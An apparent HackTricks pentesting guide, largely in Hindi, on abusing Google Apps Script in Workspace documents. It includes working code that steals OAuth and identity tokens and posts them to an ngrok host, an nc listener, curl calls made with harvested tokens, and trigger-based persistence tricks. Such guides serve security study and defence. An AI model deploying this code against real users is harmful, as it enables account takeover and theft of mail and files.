GWS - App Scripts

Support HackTricks

App Scripts

App Scripts कोड है जो तब सक्रिय होगा जब कोई उपयोगकर्ता जिसके पास संपादक की अनुमति है, उस दस्तावेज़ तक पहुंचता है जिसके साथ App Script जुड़ा हुआ है और OAuth प्रॉम्प्ट को स्वीकार करने के बाद। इन्हें App Script के मालिक द्वारा हर निश्चित समय पर निष्पादित करने के लिए भी सेट किया जा सकता है (Persistence).

Create App Script

App Script बनाने के कई तरीके हैं, हालांकि सबसे सामान्य तरीके Google Document (किसी भी प्रकार का) से और स्वतंत्र परियोजना के रूप में हैं:

Create a container-bound project from Google Docs, Sheets, or Slides
  1. एक Docs दस्तावेज़, एक Sheets स्प्रेडशीट, या Slides प्रस्तुति खोलें।

  2. Extensions > Google Apps Script पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।

  4. अपने प्रोजेक्ट का नाम दें और Rename पर क्लिक करें।

Create a standalone project

Apps Script से एक स्वतंत्र परियोजना बनाने के लिए:

  1. script.google.com पर जाएं।

  2. New Project जोड़ने पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।

  4. अपने प्रोजेक्ट का नाम दें और Rename पर क्लिक करें।

Create a standalone project from Google Drive
  1. Google Drive खोलें।

  2. New > More > Google Apps Script पर क्लिक करें।

Create a container-bound project from Google Forms
  1. Google Forms में एक फॉर्म खोलें।

  2. More more_vert > Script editor पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।

  4. अपने प्रोजेक्ट का नाम दें और Rename पर क्लिक करें।

Create a standalone project using the clasp command line tool

clasp एक कमांड लाइन टूल है जो आपको टर्मिनल से Apps Script परियोजनाएँ बनाने, खींचने/धकेलने और तैनात करने की अनुमति देता है।

अधिक विवरण के लिए Command Line Interface using clasp guide देखें।

App Script Scenario

Create Google Sheet with App Script

एक App Script बनाने से शुरू करें, इस परिदृश्य के लिए मेरी सिफारिश है कि एक Google Sheet बनाएं और Extensions > App Scripts पर जाएं, इससे आपके लिए शीट से जुड़ी एक नई App Script खुलेगी

Leak token

OAuth टोकन तक पहुंच देने के लिए आपको Services + पर क्लिक करना होगा और जैसे स्कोप जोड़ने होंगे:

  • AdminDirectory: निर्देशिका के उपयोगकर्ताओं और समूहों तक पहुंच (यदि उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं)

  • Gmail: Gmail डेटा तक पहुंचने के लिए

  • Drive: ड्राइव डेटा तक पहुंचने के लिए

  • Google Sheets API: ताकि यह ट्रिगर के साथ काम करे

अपने लिए आवश्यक स्कोप बदलने के लिए आप प्रोजेक्ट सेटिंग्स पर जा सकते हैं और सक्षम कर सकते हैं: Show "appsscript.json" manifest file in editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

अनुरोध को कैप्चर करने के लिए आप बस चला सकते हैं:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

जब एक बाहरी अनुरोध किया जाता है, तो OAuth प्रॉम्प्ट भी बाहरी एंडपॉइंट्स तक पहुँचने की अनुमति मांगेगा।

Create Trigger

एक बार जब ऐप पढ़ लिया जाए, तो ⏰ ट्रिगर्स पर क्लिक करें ताकि एक ट्रिगर बनाया जा सके। फंक्शन के लिए getToken चुनें, जो तैनाती पर Head पर चलता है, इवेंट स्रोत में From spreadsheet चुनें और इवेंट प्रकार में On open या On edit (आपकी आवश्यकताओं के अनुसार) चुनें और सहेजें।

ध्यान दें कि आप Executions टैब में ऐप स्क्रिप्ट के रन की जांच कर सकते हैं यदि आप कुछ डिबग करना चाहते हैं।

Sharing

ट्रिगर को App Script को सक्रिय करने के लिए पीड़ित को Editor Access के साथ कनेक्ट करना होगा।

App Script को निष्पादित करने के लिए उपयोग किया जाने वाला token ट्रिगर के निर्माता का होगा, भले ही फ़ाइल को अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोला गया हो।

Abusing Shared With Me documents

यदि किसी ने आपके साथ एक दस्तावेज़ साझा किया है जिसमें App Scripts और ट्रिगर है जो ऐप स्क्रिप्ट के Head का उपयोग करता है (निश्चित तैनाती नहीं), तो आप ऐप स्क्रिप्ट कोड को संशोधित कर सकते हैं (उदाहरण के लिए, चोरी करने वाले टोकन फ़ंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और App Script उस उपयोगकर्ता की अनुमतियों के साथ निष्पादित होगा जिसने आपके साथ दस्तावेज़ साझा किया! (ध्यान दें कि मालिक का OAuth टोकन ट्रिगर बनाए जाने पर दिए गए एक्सेस स्कोप के रूप में होगा)।

एक अधिसूचना स्क्रिप्ट के निर्माता को भेजी जाएगी जिसमें संकेत दिया जाएगा कि किसी ने स्क्रिप्ट को संशोधित किया है (क्या अलर्ट को रोकने के लिए फ़िल्टर उत्पन्न करने के लिए जीमेल अनुमतियों का उपयोग करने के बारे में?)

यदि एक हमलावर App Script के स्कोप को संशोधित करता है, तो अपडेट दस्तावेज़ पर लागू नहीं होंगे जब तक कि एक नया ट्रिगर परिवर्तनों के साथ नहीं बनाया जाता। इसलिए, एक हमलावर ट्रिगर में सेट किए गए स्कोप से अधिक स्कोप के साथ मालिक के निर्माता टोकन को चुराने में असमर्थ होगा।

Copying instead of sharing

जब आप एक दस्तावेज़ साझा करने के लिए एक लिंक बनाते हैं, तो एक लिंक इस तरह का बनाया जाता है: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit यदि आप "/edit" के अंत को "/copy" में बदलते हैं, तो इसे एक्सेस करने के बजाय गूगल आपसे पूछेगा कि क्या आप दस्तावेज़ की एक प्रति उत्पन्न करना चाहते हैं:

यदि उपयोगकर्ता इसे कॉपी करता है और इसे एक्सेस करता है, तो दस्तावेज़ की सामग्री और App Scripts दोनों को कॉपी किया जाएगा, हालाँकि ट्रिगर्स नहीं, इसलिए कुछ भी निष्पादित नहीं होगा

Sharing as Web Application

ध्यान दें कि App Script को एक वेब एप्लिकेशन के रूप में साझा करना भी संभव है (App Script के संपादक में, एक वेब एप्लिकेशन के रूप में तैनात करें), लेकिन एक चेतावनी इस तरह की दिखाई देगी:

इसके बाद आवश्यक अनुमतियों के लिए विशिष्ट OAuth प्रॉम्प्ट आएगा।

Testing

आप एक एकत्रित टोकन का परीक्षण कर सकते हैं ताकि ईमेल सूचीबद्ध कर सकें:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

उपयोगकर्ता का कैलेंडर सूचीबद्ध करें:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script as Persistence

एक विकल्प स्थिरता के लिए एक दस्तावेज़ बनाना और getToken फ़ंक्शन के लिए एक ट्रिगर जोड़ना होगा और दस्तावेज़ को हमलावर के साथ साझा करना ताकि हर बार जब हमलावर फ़ाइल खोलता है, वह पीड़ित का टोकन निकालता है।

यह भी संभव है कि एक App Script बनाई जाए और इसे हर X समय (जैसे हर मिनट, घंटे, दिन...) ट्रिगर किया जाए। एक हमलावर जिसने पीड़ित के क्रेडेंशियल्स या सत्र को समझौता किया है, वह एक App Script समय ट्रिगर सेट कर सकता है और हर दिन एक बहुत ही विशेषाधिकार प्राप्त OAuth टोकन लीक कर सकता है:

बस एक App Script बनाएं, ट्रिगर्स पर जाएं, Add Trigger पर क्लिक करें, और घटना स्रोत के रूप में Time-driven चुनें और उन विकल्पों का चयन करें जो आपके लिए सबसे उपयुक्त हैं:

यह एक सुरक्षा अलर्ट ईमेल और आपके मोबाइल पर इस बारे में एक पुश संदेश बनाएगा।

Shared Document Unverified Prompt Bypass

इसके अलावा, यदि किसी ने आपके साथ साझा किया है एक दस्तावेज़ जिसमें संपादक पहुंच है, तो आप दस्तावेज़ के अंदर App Scripts उत्पन्न कर सकते हैं और दस्तावेज़ का OWNER (निर्माता) App Script का मालिक होगा

इसका मतलब है, कि दस्तावेज़ का निर्माता किसी भी App Script का निर्माता के रूप में दिखाई देगा जिसे कोई भी संपादक पहुंच के साथ इसके अंदर बनाता है।

इसका मतलब यह भी है कि App Script को दस्तावेज़ के निर्माता के Workspace वातावरण द्वारा विश्वसनीय माना जाएगा।

इसका मतलब यह भी है कि यदि एक App Script पहले से मौजूद है और लोगों ने पहुँच दी है, तो दस्तावेज़ पर संपादक अनुमति वाले कोई भी व्यक्ति इसे संशोधित कर सकता है और उस पहुंच का दुरुपयोग कर सकता है। इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की भी आवश्यकता है। और एक अच्छा ट्रिक है कि स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करें। जब लोग जो पहले से पहुँच दे चुके हैं, वेब पृष्ठ तक पहुँचते हैं, तो वे App Script को ट्रिगर करेंगे (यह <img> टैग का उपयोग करके भी काम करता है)।

Support HackTricks

Last updated